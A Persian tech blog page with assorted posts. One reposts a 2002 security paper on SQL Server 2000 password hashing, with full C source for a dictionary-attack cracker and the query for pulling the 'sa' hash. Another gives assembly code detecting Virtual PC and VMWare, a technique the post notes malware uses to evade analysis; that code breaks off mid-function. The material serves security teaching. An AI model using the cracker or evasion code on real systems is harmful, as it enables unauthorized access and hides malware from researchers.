تبليغاتX
یک پروژه جدید


اطلاعيه هاي وبلاگ :
 1) در اين وبلاگ شما مطالبي در مورد برنامه نويسي، پروژه هاي سخت افزاري و نرم افزاري، پايان نامه ها، اخبار تکنولوژي هاي جديد و .... مي خوانيد. و همچنين مي توانيد eBook هايي در زمينه هاي مختلف را دانلود کنيد.

2) با عضويت در خبر نامه از بروز رساني وبلاگ با خبر شويد

3) شما می توانید پروژه مورد نظر خود را در ابعاد و ویژگی های مختلف سفارش دهید

جدیدترین تکنولوژی‌های شناسایی ماشین مجازی

On the Cutting Edge:

Thwarting Virtual Machine Detection


این مقاله هم از کارای خودمه که در مورد جدیدترین راه‌های شناسایی ماشین مجازی و راه‌های مقابله با اووناست.

خلاصه‌ای از مقاله رو همینجا می‌ذارم، اگه خوشتون اومد، می‌تونین از طریق لینکهای زیر دانلودشون کنین. (فارسی و انگلیسی)

لینک دانلود اسلایدهای انگیسی

لینک دانلود ترجمه فارسی


چکيده:
ماشين‌هاي مجازي مختلف به کاربر يا مدير سيستم اجازه اجراي يک يا چند سيستم‌عامل مهمان را روي سيستم‌عامل ميزبان مي‌دهند. در تئوري، محيط فراهم شده توسط ماشين‌هاي مجازي، ايزوله شده و غير‌قابل تشخيص از ماشين واقعي است. محققان بدليل امکاناتي زيادي که ماشين مجازي در اختيارشان قرار مي‌دهد، براي تشخيص کدهاي مخرب و بدافرارها، آنها را در ماشين مجازي مختلف اجرا مي‌کنند و با بررسي رفتاري که کد يا برنامه مخرب از خود نشان مي‌دهد و همچنين تغييراتي که در سيستم‌عامل به وجود مي‌آورد، راه‌هاي مقابله با آنها را طراحي مي‌کنند. از اين رو کدنويسان برنامه‌هاي مخرب، سعي در شناسايي محيط ماشين مجازي دارند که در صورت اجراي برنامه‌شان در اين محيط، از اجراي کدهاي مخرب خودداري کنند تا توسط محققان شناسايي نشوند. در اين سمينار سعي بر اين است که ابتدا راه‌هاي تشخيص محيط ماشين مجازي همراه با ابزار‌هاي مورد استفاده‌ي هر کدام بررسي شود سپس به طرق مختلف خنثي‌سازي شناسايي محيط ماشين مجازي پرداخته مي‌شود. بطور کلي به دو صورت مي‌توان ماشين مجازي را تشخيص داد: محلي و از راه دور. تشخيص ماشين مجازي به صورت محلي يعني برنامه‌ي تشخيص دهنده، بايد در محيط قرار بگيرد و با استفاده از روش‌هاي مختلف به اين تشخيص برسد که آيا در ماشين مجازي قرار دارد يا واقعي ؟ تشخيص ماشين مجازي از راه دور يعني با ابزارهاي گوناگون، به بررسي نشانه‌هاي مختلف در شبکه بپردازيم.

Keywords: Virtual Machine, Detection, Red Pill, Scoopy, Doo, Jerry, Matrix, Virus, Malware, VMWare, VirtualPC, Xen

/**//* /*]]>*/

لينک | چهارشنبه 9 دی1388 | موضوع : eBook | نویسنده :مجتبی جعفری (Romper) |

 
همه چیز در مورد کنترل‌های اکتیوایکس

ActiveX Controls

این مقاله از کارای خودم هستش که شامل مطالب زیره:

- تاریخچه‌ای از اکتیوایکس (اینکه از کجا اوومد، چرا اوومد)

- مزایا و معایب اکتیوایکس

- مقایسه با جاوا اپلت

- مثال‌هایی از نحوه‌ی ساخت آن

- مشکلات پیش روی آن

- تنظیمات اینترنت اکسپلورر برای امنیت بیشتر هنگام کار با این کنترل

- چگونگی اعتماد به کنترلی که در اینترنت یافت می‌شه

- و ...


لینک دانلود

Keywords: Activex control, java applet, internet explorer, security

لينک | چهارشنبه 9 دی1388 | موضوع : eBook | نویسنده :مجتبی جعفری (Romper) |

 
جدیدترین تکنولوژی ها

شمارش معکوس چراغ راهنما

Countdown Traffic Light Concept


سرهای خمیردندان بشکل سگ و گربه

Animal Toothpaste Heads


ادامه مطلب

لينک | پنجشنبه 19 آذر1388 | موضوع : اخبار تکنولوژی های جدید | نویسنده :مجتبی جعفری (Romper) |

 
پلتفرم جدید انویدیا به نام یون (Ion)

پس از آنکه چیپست های اینتل نتوانستند از لحاظ گرافیکی توقعات کاربران را پاسخ گویند، انویدیا اقدام به معرفی پلتفرم یون نمود. این پلتفرم در اندازه بسیار کوچک ارائه شده که تحولی در نوع خود محسوب میشود. اگر با دستگاه های تحت شبکه آشنا باشید، محصولات تولید شده با استفاده از این محصول در این زمینه با توجه به قیمت مناسبش به زودی پا به عرصه خواهد گذاشت.

keywords: ion, nvidia, atom, intel

برای دانلود اینجا را کلیک کنید.

لينک | سه شنبه 17 آذر1388 | موضوع : مقالات آموزشی | نویسنده :قدیر نوروزی میرصادقی |

 
انتقال برق بدون سیم از سطح ماه

یکی از ایده های جدید تولید انرژی، انتقال انرژی خورشیدی از سطح ماه بصورت بی سیم است. اصول اولیه این طرح توسط دکتر دیوید کریسول (Dr. David Criswell) محقق دانشگاه هوستون تگزاس و مدیرمؤسسه Space Systems Operations ارائه شده است. بر اساس این طرح، ابتدا مجموعه ای بسیار وسیع از سلولهای خورشیدی بر سطح ماه (که همیشه به طرف زمین است) قرار داده میشوند تا نور خورشید را به انرژی الکتریکی تبدیل کنند. سپس انرژی الکتریکی حاصله به یک فرستنده مایکروویو ارسال میشود تا به امواج رادیویی در فرکانس 2.5 گیگاهرتز تبدیل شده و از آنجا بوسیله آنتنهای با پهنای بیم (beam) بسیار باریک بطرف زمین ارسال گردد. در سطح زمین این امواج الکترومغناطیسی پر قدرت بوسیله آرایه های بسیار بزرگ (very large array) از آنتنهای مایکروویو دریافت شده و دوباره به انرژی الکتریکی تبدِل میشوند. همچنین بخشی از این امواج توسط ماهواره های مخصوصی که در اطراف کره زمین قرار خواهند گرفت به نقاط دیگر کره زمین که در دید مستقیم ماه نمی باشند منعکس میشوند.

در واقع تبدیل انرژی الکتریکی به امواج الکترومغناطیسی این امکان را میدهد تا انرژی بصورت بی سیم از یک نقطه به نقطه دیگر منتقل شود و در نقطه مقابل پس از دریافت امواج الکترومغناطیسی با انجام عمل عکس، انرژی ااکتریکی مجدداً تولید گردد (به این روش اصطلاحاً
power beaming میگویند). تقریباً اساس تمام سیستمهای انتقال برق بدون سیم بر همین پایه استوار است. البته واضح است که بازدهی چنین سیستمهایی در مقایسه با انتقال برق در خطوط برق بسیار پایین است چون مقدار زیادی از انرژی در تبدیل برق به امواج الکترومغناطیسی و بالعکس تلف میشود و بعلاوه مقداری ازانرژی موجود در امواج نیز در فرایند تشعشع وانتقال در محیط (اتمسفرزمین) به هدر خواهد رفت. بااین وجود، دکتر کریسول در مقالات مختلفی که ارائه کرده ( منجمله مقاله 1 و مقاله 2) بصورت تحلیلی به این مسائل اشاره کرده و با محاسبات مختلف ادعا نموده است که میزان انرژی تولید شده با احتساب تمام این تلفات و مخارجی که صرف ساخت و نصب تجهیزات خواهد شد باز مقرون به صرفه خواهد بود و تنها به کسری از یک سنت برای تولید یک کیلو وات بر ساعت برق خواهد رسید. البته دانشمندان ناسا نیز ایده های مشابهی مثل قرار دادن مجموعه ای از سلولهای خورشیدی و یا حتی صرفاً صفحه های منعکس کننده نور در مدار کره زمین ارائه کرده اند که بحث بر سر اینکه کدام روش مناسبتر است هنوز ادامه دارد.

فرشید کیوانیان

لينک | شنبه 14 آذر1388 | موضوع : اطلاعات عمومی | نویسنده :مجتبی جعفری (Romper) |

 
نحوه کرک کردن پسورد SQL Server 2000

 A NGSSoftware Insight Security Research Publication
 
 Microsoft SQL Server Passwords
(Cracking the password hashes)
 
David Litchfield 
(david@ngssoftware.com)
24th June 2002
www.ngssoftware.com
 

 How does SQL Server store passwords?
 
SQL Server uses an undocumented function, pwdencrypt() to produce a hash of the user's password, which is stored in the sysxlogins table of the master database. This is probably a fairly common known fact. What has not been published yet are the details of the pwdencrypt() function. This paper will discuss the function in detail and show some weaknesses in the way SQL Server stores the password hash. In fact, as we shall see, later on I should be saying, 'password hashes'.
 
 
What does an SQL password hash look like?
 
Using Query Analyzer, or the SQL tool of your choice, run the following query
 
select password from master.dbo.sysxlogins where name='sa'
 
You should get something that looks similar to the following returned. 
 
0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B
 
This is the hash of the 'sa' login's password on my machine.
 
 
What can we derive from pwdencrypt() about the hash?
 
Time
 
The query
 select pwdencrypt('foo')
 
produces
 
 0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218969D09FFB97F5035CF7142521576
 
but several seconds later repeating the query
 
 select pwdencrypt('foo')
 
produces
 
 0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92F532819DC22ED6BE374591FAAF6C38A2EADAA57FDF
 
The two hashes are different and yet the input, ‘foo’, is the same. From this we can deduce that time must play an important part in the way password hashes are created and stored. The design reasons behind this will be such that if two people use the same password then their hashes will be different - thus disguising the fact that their passwords are the same.
 
Case
 
Run the query
 
 select pwdencrypt('AAAAAA')
 
which produces
 
 0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918D34B6A12C9CC9EF99C4769F819B
 
Now, we can note that there are probably two password hashes here. If you can't spot it immediately let me break it down
 
 0x0100
 84449305
 43174C59CC918D34B6A12C9CC9EF99C4769F819B
 43174C59CC918D34B6A12C9CC9EF99C4769F819B
 
As can be seen, the last 40 characters are the same as the penultimate 40 characters. This suggests that passwords are stores twice. One of them is the normal case sensitive password and the other is the upper-cased version of the password. This is not good as any one attempting to crack SQL passwords now has an easier job. Rather than having to break a case sensitive password they need only go after the upper-cased version. This reduces the number of characters they need to attempt considerably.
 
Clear Salt
From what we know already, that changes in time will produce a change in the hash, there must be something about time that makes the password hashes different and this information must be readily available so when someone attempts to login a comparison can be performed against the hash derived from the password they supply and the hash stored in the database. In the breakdown of results from pwdencrypt() above the 84449305 portion is this piece of information.
 
This number is derived in the following fashion. The time () C function is called and used as a seed passed to the srand() function. srand() sets a start point to be used for producing a series of (pseudo)random numbers. Once srand is seeded the rand() function is called to produce a pseudo random number. This number is an integer; however SQL server converts this to a short and sets it aside. Lets call this number SN1. The rand() function is called again producing another pseudo random integer which, again, is converted into a short. Let's call this number SN2. SN1 and SN2 are joined to produce an integer. SN1 becoming the most significant part and SN2 the least significant part : SN1:SN2 to produce a salt. This salt is then used to obscure the password. 
 
 
Hashing the password
 
The user's password is converted to it's UNICODE version if not already in this form. The salt is then appended to the end. This is then passed to the crypt functions in advapi32.dll to produce a hash using the secure hashing algorithm or SHA. The password is then converted to its upper case form, the salt tacked onto the end and another SHA hash is produced.
 
 0x0100  Constant Header
 84449305 Salt from two calls to rand()
 43174C59CC918D34B6A12C9CC9EF99C4769F819B Case Sensitive SHA Hash
 43174C59CC918D34B6A12C9CC9EF99C4769F819B Upper Case SHA Hash
 
 
The Authentication Process
 
When a user attempts to authenticate to SQL Server several things happen to do this. Firstly SQL Server examines the password entry for this user in the database and extracts the "salt" - 84449305 - in the example. This is then appended to the password the user supplies when attempting to log in and a SHA hash is produced. This hash is compared with the hash in the database and if they match the user is authenticated - and of course if the compare fails then the login attempt fails.
 
 
SQL Server Password Auditing
 
This is done in the same manner that SQL Server attempts to authenticate users. Of course, by far the best thing to do is, first off, is attempt to brute force the hash produced from the upper-cased version. Once this has been guessed then it is trivial to workout the case sensitive password.
 
 
Source Code for a simple command line dictionary attack tool
 
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
//  optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
//  Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
 
#include  
#include
#include
 
 
 
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
 
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
 
int main(int argc, char *argv[]) 
{
 int err = 0;
 
 if(argc !=3)
  {
   printf("\n\n*** SQLCrack  *** \n\n");
   printf("C:\\>%s hash passwd-file\n\n",argv[0]);
   printf("David Litchfield (david@ngssoftware.com)\n");
   printf("24th June 2002\n");
   return 0;
  }
 
 err = OpenPasswordFile(argv[2]);
 if(err !=0)
  {
    return printf("\nThere was an error opening the password file %s\n",argv[2]);
  }
 err = CrackPassword(argv[1]);
 
 fclose(fd);
 printf("\n\n%d",wd);
 
return 0; 
}
 
int OpenPasswordFile(char *pwdfile)
{
 fd = fopen(pwdfile,"r");
 if(fd)
  return 0;
 else
  return 1;
}
 
 
int CrackPassword(char *hash)
{
 
 
 char phash[100]="";
 char pheader[8]="";
 char pkey[12]="";
 char pnorm[44]="";
 char pucase[44]="";
 char pucfirst[8]="";
 char wttf[44]="";
 char uwttf[100]="";
 char *wp=NULL;
 char *ptr=NULL;
 int cnt = 0;
 int count = 0;
 unsigned int key=0;
 unsigned int t=0;
 unsigned int address = 0;
 unsigned char cmp=0;
 unsigned char x=0;
 HCRYPTPROV hProv=0;
 HCRYPTHASH hHash; 
 DWORD hl=100;
  unsigned char szhash[100]="";
 int len=0;
 
 
 
 
 if(strlen(hash) !=94)
  {
   return printf("\nThe password hash is too short!\n");
  }
 
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
  {
   hash = hash + 2;
   strncpy(pheader,hash,4);
   printf("\nHeader\t\t: %s",pheader);
   if(strlen(pheader)!=4)
    return printf("%s",lerr);
 
   hash = hash + 4;
   strncpy(pkey,hash,8);
   printf("\nRand key\t: %s",pkey);
   if(strlen(pkey)!=8)
    return printf("%s",lerr);
 
 
   hash = hash + 8;
   strncpy(pnorm,hash,40);
   printf("\nNormal\t\t: %s",pnorm);
   if(strlen(pnorm)!=40)
    return printf("%s",lerr);
 
   hash = hash + 40;
   strncpy(pucase,hash,40);
   printf("\nUpper Case\t: %s",pucase);
   if(strlen(pucase)!=40)
    return printf("%s",lerr);
 
   strncpy(pucfirst,pucase,2);
   
   sscanf(pucfirst,"%x",&cmp);
  }
 else
  {
   return printf("The password hash has an invalid format!\n");
  } 
 
 printf("\n\n  Trying...\n"); 
 
 if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL  ,0))
   {
  if(GetLastError()==NTE_BAD_KEYSET)
   {
    // KeySet does not exist. So create a new keyset
    if(!CryptAcquireContext(&hProv,
       NULL,
       NULL, 
       PROV_RSA_FULL,
       CRYPT_NEWKEYSET ))
     {
      printf("FAILLLLLLL!!!");
      return FALSE;
     }
 
 
   }
 
 
 }
 
 while(1)
  {
 
  // get a word to try from the file
   ZeroMemory(wttf,44);
 
   if(!fgets(wttf,40,fd))
      return printf("\nEnd of password file. Didn't find the password.\n");
 
   wd++;
 
   len = strlen(wttf);
   wttf[len-1]=0x00;
 
   ZeroMemory(uwttf,84);
 
  // Convert the word to UNICODE
   while(count < len)
    {
     uwttf[cnt]=wttf[count];
     cnt++;
     uwttf[cnt]=0x00;
     count++;
     cnt++;
    }
   len --;
 
   wp = &uwttf;
   sscanf(pkey,"%x",&key);
   cnt = cnt - 2;
 
  // Append the random stuff to the end of
   // the uppercase unicode password
   t = key >> 24;
   x = (unsigned char) t;
 
   uwttf[cnt]=x;
   cnt++;
 
  t = key << 8;
   t = t >> 24;
   x = (unsigned char) t;
   uwttf[cnt]=x;
   cnt++;
 
 
  t = key << 16;
   t = t >> 24;
   x = (unsigned char) t;
 
   uwttf[cnt]=x;
   cnt++;
 
 
  t = key << 24;
   t = t >> 24;
   x = (unsigned char) t;
   uwttf[cnt]=x;
   cnt++;
   
  // Create the hash
 
 if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
   {
    printf("Error %x during CryptCreatHash!\n", GetLastError());         
    return 0;
   }      
 
  if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
   {
    printf("Error %x during CryptHashData!\n", GetLastError());         
    return FALSE;
   }
 
  CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
 
  
  // Test the first byte only. Much quicker.
  if(szhash[0] == cmp)
   {
    // If first byte matches try the rest
    ptr = pucase;
    cnt = 1;
    while(cnt < 20)
    {
     ptr = ptr + 2;
     strncpy(pucfirst,ptr,2);
     sscanf(pucfirst,"%x",&cmp);
     if(szhash[cnt]==cmp)
      cnt ++;
     else
     {
      break;
     }
    }
    if(cnt == 20)
    {
     // We've found the password
     printf("\nA MATCH!!! Password is %s\n",wttf);
     return 0;
     
    }
   }
    
   
   count = 0;
   cnt=0;
 
   
 
 
  }
 
 
 return 0;
}
 
 
NGSSoftware have created a GUI based SQL password cracker that does not use the CryptoAPI and is, consequently, much faster. For a trial version of this cracker please see http://www.nextgenss.com/products/ngssqlcrack.html.

لينک | یکشنبه 8 آذر1388 | موضوع : مقالات آموزشی | نویسنده :مجتبی جعفری (Romper) |

 
نهان نگاری داده در پیام کوتاه متنی - Steganography in SMS

در این مقاله می تونین نحوه قایم کردنه یک متنی رو در عکس های SMSی بخونین.

این مقاله در یازدهمین کنفرانس بین المللی کامپیوتر انجمن کامپیوتر ایران، پژوهش های دانشهای بنیادی، پژوهشکده علوم کامپیوتر در بهمن 84 ارائه شد.


محقق : محمد شیرعلی شهررضا

لینک دانلود

11 International CSI Computer Conference (CSICC’2006), School of Computer Science, IPM, Jan. 24-26, 2006, Tehran, Iran.

لينک | چهارشنبه 4 آذر1388 | موضوع : eBook | نویسنده :مجتبی جعفری (Romper) |

 
شبيه‌ سازي مغزگربه‌ توسط ابررايانه IBM


دانشمندان مرکز تحقيقات IBM در آلمادن آمريکا با همکاري دانشمندان دانشگاه استانفورد و لابراتوار ملي لارنس ليورمور توانستند مغز گربه را به روشي مجازي بازسازي و عملکردهاي آن را شبيه سازي کنند.

هدف از انجام اين تحقيقات شناخت بهتر اين حيوان خانگي نيست بلکه رمزگشايي مکانيزمهاي مغزي پستانداران با هدف دستيابي به بازسازي مغز انسان ظرف 10 سال آينده است.

اين محققان با استفاده از ابررايانه پرقدرت IBM به نام Blue Gene مستقر در لابراتوار ليورمور توانستند کورتکس مغزي يک گربه را با يک ميليارد نورون و 10 هزار ميليارد اتصال سيناپسي بازسازي کنند. اين شبيه سازي، درک چگونگي عملکرد نورونهاي گربه را امکانپذير مي کند.

به گزارش آسوشيتدپرس، ابررايانه Blue Gene چهارمين ابررايانه پرقدرت دنيا است که از 147 هزار و 456 واحد پردازش (Cpu) و 144 هزار ميليارد بايت حافظه برخوردار است. اين ميزان حافظه 100 هزار برابر بيشتر از حافظه رايانه هاي خانگي است.

در اين خصوص دانشمندان تحقيقات گروه IBM در کنفرانس ابررايانه پرقدرت در پورتلند اورگان اظهار داشتند: "ما هرگز به اين سطح تا اين حد وسيع در شبيه سازي نرسيده بوديم."

تاکنون اين شبيه ساز رايانه اي توانسته بود 40 درصد از مغز موش را در سال 2006، مغز يک موش صحرايي را در سال 2007 و تنها يک درصد از مغز انسان را در ماههاي گذشته شبيه سازي کند.

درحال حاضر در آژانس تحقيقاتي پنتاگون (دارپا) پروژه 16 ميليارد دلاري "سيناپس" در دست اجرا است. دانشمندان فعال در اين پروژه قصد دارند به زودي تراشه اي را ايجاد کنند که قادر باشد تمام عملکردها و تواناييهاي مغز يک گربه را داشته باشد. 

بعد از این همه پیشرفت، اگه می تونستن یه تراشه توو مغز گربه ها بذارن که مجبورشون کنه برای ما کار کنن، خیلی خوب می شد !!

لينک | دوشنبه 2 آذر1388 | موضوع : اخبار تکنولوژی های جدید | نویسنده :مجتبی جعفری (Romper) |

 
ده وسیله برای بهتر نوشیدن

10 Cool Beverage Drinking Gadgets


در این پست 10 وسیله جالب برای بهتر و راحتر نوشیدن رو خواهید دید.

عکس ها گویای متن هست ولی بعضی جاها رو هم ترجمه کردم.

برای دیدن همه عکس ها روی ادامه مطلب کلیک کنید


ادامه مطلب

لينک | پنجشنبه 28 آبان1388 | موضوع : اخبار تکنولوژی های جدید | نویسنده :مجتبی جعفری (Romper) |

 
14تا از جالبترین ساعت های دیواری

14 Unique Contemporary Wall Clocks


طرح های جالب و بی نظیر از ساعت های دیواری معاصر رو در این پست خواهید دید

لطفا روی ادامه مطلب کلیک کنید


ادامه مطلب

لينک | دوشنبه 25 آبان1388 | موضوع : عکس | نویسنده :مجتبی جعفری (Romper) |

 
مردم انگليس؛ زشت‌ترين‌ در دنيا

بر اساس يك نظرسنجي از سوي سايت مردمان زيبا، مردم انگليس، زشت‌ترين در دنيا هستند.

در سايت مردمان زيبا آمده است كه كمتر از يكي از هشت مرد يا به عبارتي 12 درصد و كمتر از سه تا از 20 زن يا به عبارتي 15 درصد زنان انگليسي‌ زيبا هستند.

به اين دليل در گزارش آماري كه در سايت مردمان زيبا منتشر شده است، آمده كه ساكنان انگلستان جزو زشت‌ترين‌ها در دنيا هستند.

همچنين در اين سايت به اين موضوع اشاره شده است كه مردان سوئدي با داشتن 65 درصد آمار و زنان نروژي با 76 درصد جزو زيباترين‌ها در جهان محسوب مي‌شوند.

اين وب سايت كه در سال 2002 ميلادي در دانمارك راه‌اندازي شد، تاكنون تنها 295 هزار نفر از مردان و زنان انگليسي در آن ثبت‌نام كردند.

از طرفي كشورهاي سوئد، برزيل و نروژ جزو سه كشوري هستند كه بنا به اين وب سايت بيشترين افراد زيبا را دارند و آلمان و انگلستان جزو كشورهايي قرار دارند كه زشت‌ترين ساكنان را دارد.

لينک | شنبه 23 آبان1388 | موضوع : اطلاعات عمومی | نویسنده :مجتبی جعفری (Romper) |

 
HDMI (High-Difinition Multimedia Interface)

در عصر جديد ارتباطات نياز به فناور يهاي جديد و پرسرعت براي انتقال حجم زيادي از داده هاي ديجيتال روز به روز بيشتر مي شود، به واسطه همين امر، شركتها همگام با ساخت تجهيزات صوتي و تصويري جديد، به فكر ساخت رابطهاي پر سرعت براي انتقال اين حجم بالاي اطلاعات بودند.

انجمني متشكل از شرك تهاي  Hitachi، Panasonic، Philips، Silicon Image، Thomson، Sony و Toshiba با حمايت كمپاني اينتل شكل گرفت و تحقيقات گسترده اي بروي اين رابط صدا و تصوير ديجيتال شروع شد .

تا قبل از سال 2002 ميلادي رابط (DVI) بروي سيستم HD-TV استفاده مي شد.

اولين نمونه رابط HDMI ورژن 1,0 بود كه ورژن پيشرفته رابط DVI ب Connector كوچكتر به حساب مي آمد.


برای خواندن ادامه متن، روی ادامه مطلب کلیک کنید


ادامه مطلب

لينک | سه شنبه 19 آبان1388 | موضوع : مقالات آموزشی | نویسنده :مجتبی جعفری (Romper) |

 
عينک مترجم به بازار مي‌آيد

اين شرکت، که در حوزه ساخت و ارائه خدمات ارتباطي، رايانه و تجهيزات الکترونيکي فعاليت دارد مي گويد: اين عينک به کاربران آن کمک خواهد کرد سد زبان هاي خارجي را بشکنند و با افراد از مليت هاي مختلف ارتباط کلامي برقرار کنند.

گرچه که اين ابزار جديد ظاهري شبيه عينک دارد اما از لنز خبري نيست. تصوير کلمات تقريبا به طور همزمان ترجمه شده و با يک پروژکتور کوچک به قرنيه چشم منعکس مي شود.

بنا به گفته NEC ، دو نفر که با دو زبان مختلف حرف مي زنند، مي توانند با استفاده از اين عينک هوشمند به راحتي با يکديگر گفتگو کنند.

اين شرکت هنگام طراحي اين وسيله، که «تله اسکوتر» (Tele Scouter) نام دارد، فروشندگان کالا يا کارمنداني را مد نظر داشته که وظيفه جوابگويي به سوالات مشتريان را دارند.

اين شرکت مي گويد تله اسکوتر در واقع يک وسيله تجاري است و با تاباندن اطلاعات مشتري به قرنيه چشم به فروشندگان کالا کمک مي کند که هم زمان با صحبت با مشتري، از مراودات قبلي او مطلع باشند.از اين وسيله همچنين ممکن است براي کارهايي جذاب تر مانند ترجمه همزمان استفاده کرد.

در چنين حالتي ميکروفوني که در قاب عينک جاسازي شده صداي دو نفري را که در حال گفتگو هستند ضبط مي کند، آن را به نرم افزار ترجمه و سيستم برگردان صدا به متن منتقل مي کند و بعد ترجمه را به قاب عينک پس مي فرستد.

در حالي که کاربر، ترجمه آن چه را به او گفته شده مي شنود، متن گفته ها را نيز مانند زير نويس فيلم روي قرنيه چشمش دريافت مي کند.

تاکايوکي اومينو، سخنگوي شرکت ان ايي سي گفت: از اين سيستم ممکن است براي گفتگوهاي محرمانه که حضور مترجم به لحاظ امنيتي صلاح نيست، نيز کاربرد دارد.

او گفت تله اسکوتر در ماه نوامبر 2010 در ژاپن به بازار خواهد آمد، اما در ابتدا شامل مشخصه ترجمه نخواهد بود ؛ مدلي که ترجمه نيز مي کند يک سال بعدتر به بازار خواهد آمد.

وقتي عينک هوشمند به بازار بيايد هر 30 جفت آن حدود پنجاه هزار پوند عرضه خواهد شد.اين رقم شامل قيمت نرم افزار و ادوات ترجمه نخواهد بود.

لينک | شنبه 16 آبان1388 | موضوع : اخبار تکنولوژی های جدید | نویسنده :مجتبی جعفری (Romper) |

 
نحوه تشخیص ماشین مجازی - Virtual Machine Detection

کمی در مورد Virtual Machine Software
هر دو نرم افزار Virtual PC و VMWare به شما اجازه می دهند تا Add_in هایی برای شتاب دادن به شبیه سازی نصب کنید. یا اجازه Drag_n_Drop کردن فایلها از دسکتاپ واقعی به دسکتاپ مجازی را هم می دهند و همچنین اجازه به اشتراک کذاری فایلها بین ماشین واقعی و مجازی را هم می دهند.
به منظور انجام اینکار، باید یک مکانیسم ارتباطی بین نرم افزار ماشین مجازی و ماشین واقعی وجود داشته باشد. این نوع واسط، Backdoor Interfacing نامیده می شود.

زمانی که از یک مکانیسم خاص/غیر مستند استفاده می کنیم، دستورات معینی می تواند انجام شوند و به روشهای مختلفی تفسیر شوند (بستگی به نوع نرم افزار ماشین مجازی می باشد). برخلاف تفسیر آنها در ماشین واقعی.


چگونگی تشخیص virtual PC
همانطور که می دانید، هر ماشین، مجموعه ای از دستورالعمل های تعریف شده ای دارد که معماری مجموعه دستورالعمل ها نامیده می شود. (Instruction Set Architecture or ISA)
وقتی Virtual PC با دستورالعمل های نا متعبری برخورد می کند (دستورالعملی که در ISA وجود ندارد)، ماشین خطایی از نوع “Invalid OpCode” تولید می کند.
نرم افزار هم می تواند با استفاده از مکانیسم معمول Try/Catch خطا را کنترل کند و هم می تواند کنترل خطا را به سیستم عامل بسپارد و در بدترین حالت ماشین Crash کند.
Virtual PC از دسته ای از دستورالعمل های نامعتبر برای واسط قرار گرفتن بین ماشین و نرم افزار ماشین مجازی استفاده می کند.
در اینجا مراحلی که در حین ارتباط ماشین و Virtual PC رخ می دهد، لیست شده است :
1.    برنامه کنترل کننده های خطا را تنظیم می کند. (بلوکهای Try/Catch)
2.    پارامترهای مورد نیاز را قبل از فراخوانی VM تنظیم کنیم
3.    دستورالعمل “Invalid OpCode” خاصی صادر می شود.
4.    نرم افزار VM این خطای Invalid OpCode را تشخیص خواهد داد و مطابق با آن برخورد خواهد کرد.
اگر Virtual PC وجود داشته باش، باعث عدم بروز خطا می شود و بلعکس.
5.    بلوک Catch در برنامه خطا را کنترل خواهد کرد و پارامترهای برگشت داده شده را برای حضور/عدم حضور نرم افزار VM بررسی می کند.
بطور خلاصه Virtual PC از مکانیسم “Invalid OpCode” به عنوان BackDoor استفاده می کند.

کد تشخیص Virtual PC
// IsInsideVPC's exception filter

DWORD __forceinline IsInsideVPC_exceptionFilter(LPEXCEPTION_POINTERS ep)
{
  PCONTEXT ctx = ep->ContextRecord;

  ctx->Ebx = -1; // Not running VPC

  ctx->Eip += 4; // skip past the "call VPC" opcodes

  return EXCEPTION_CONTINUE_EXECUTION;
  // we can safely resume execution since we skipped faulty instruction

}

// High level language friendly version of IsInsideVPC()

bool IsInsideVPC()
{
  bool rc = false;

  __try
  {
    _asm push ebx
    _asm mov  ebx, 0 // It will stay ZERO if VPC is running

    _asm mov  eax, 1 // VPC function number


    // call VPC

    _asm __emit 0Fh
    _asm __emit 3Fh
    _asm __emit 07h
    _asm __emit 0Bh

    _asm test ebx, ebx
    _asm setz [rc]
    _asm pop ebx
  }
  // The except block shouldn't get triggered if VPC is running!!

  __except(IsInsideVPC_exceptionFilter(GetExceptionInformation()))
  {
  }

  return rc;
}

جزئیات بیشتری در مورد کد
1.    نصب کنترل کننده های خطا
2.    مقدار دهی رجیسترهای ورودی EAX و EBX
3.    Invalid Instruction را صادر می کند.(0X0F 0X3F 0X07 0X0B)
این دستور نامعتبر شبیه به یک نقش دهنده عملیاتی می باشد، به Virtual PC می گوید که دقیقا چه کاری را انجام دهد. برای عملیات دیگر، Virtual PC از Invalid Instruction های دیگری استفاده می کند.
4.    در داخل Exception Handler
رجیسترها را برای نشان دادن عدم حضور Virtual PC تغییر می دهد.
اگر خطایی وجود داشته باشد، مقدار EBX، منفی یک می شود آنگاه Virtual PC حضور ندارد.
5.    از Exception باز میگردد و اجرای برنامه را ادامه می دهد. (فقط اگر Virtual PC وجود نداشته باشد)
6.    نتیجتا" رجیستری های بازگشت داده شده را بررسی می کند.





چگونگی تشخیص VMWare
Intel X86 دو دستورالعمل را برای اجازه حمل دستورات I/O فراهم می کند. این دستورالعمل ها، دستورالعمل های “IN” و “OUT” هستند که دارای Privilege هایی می باشند که در پروسس مد کاربر قابل استفاده نمی باشند. (تا زمانی که در حالت محافظت شده هستند) مگراینکه Privilege های ضروری فعال شوند. بنابراین استفاده از آنها در حالت نرمال باعث ایجاد خطایی از نوع  “ECXEPTION_PRIV_INSTRUCTION” خواهد شد.
VMWare از دستورالعمل “IN” برای خواند از یک پورت خاص استفاده می کند. اگر چه VMWare در حال اجرا می باشد ولی این پورت به صورت مؤثر وجود ندارد. این پورت واسط بین ماشین و VMWare خواهد شد.
 
    
کد تشخیص VMWare
bool IsInsideVMWare()
{
  bool rc = true;

  __try
  {
    __asm
    {
      push   edx
      push   ecx
      push   ebx

      mov    eax, 'VMXh'
      mov    ebx, 0 // any value but not the MAGIC VALUE

      mov    ecx, 10 // get VMWare version

      mov    edx, 'VX' // port number


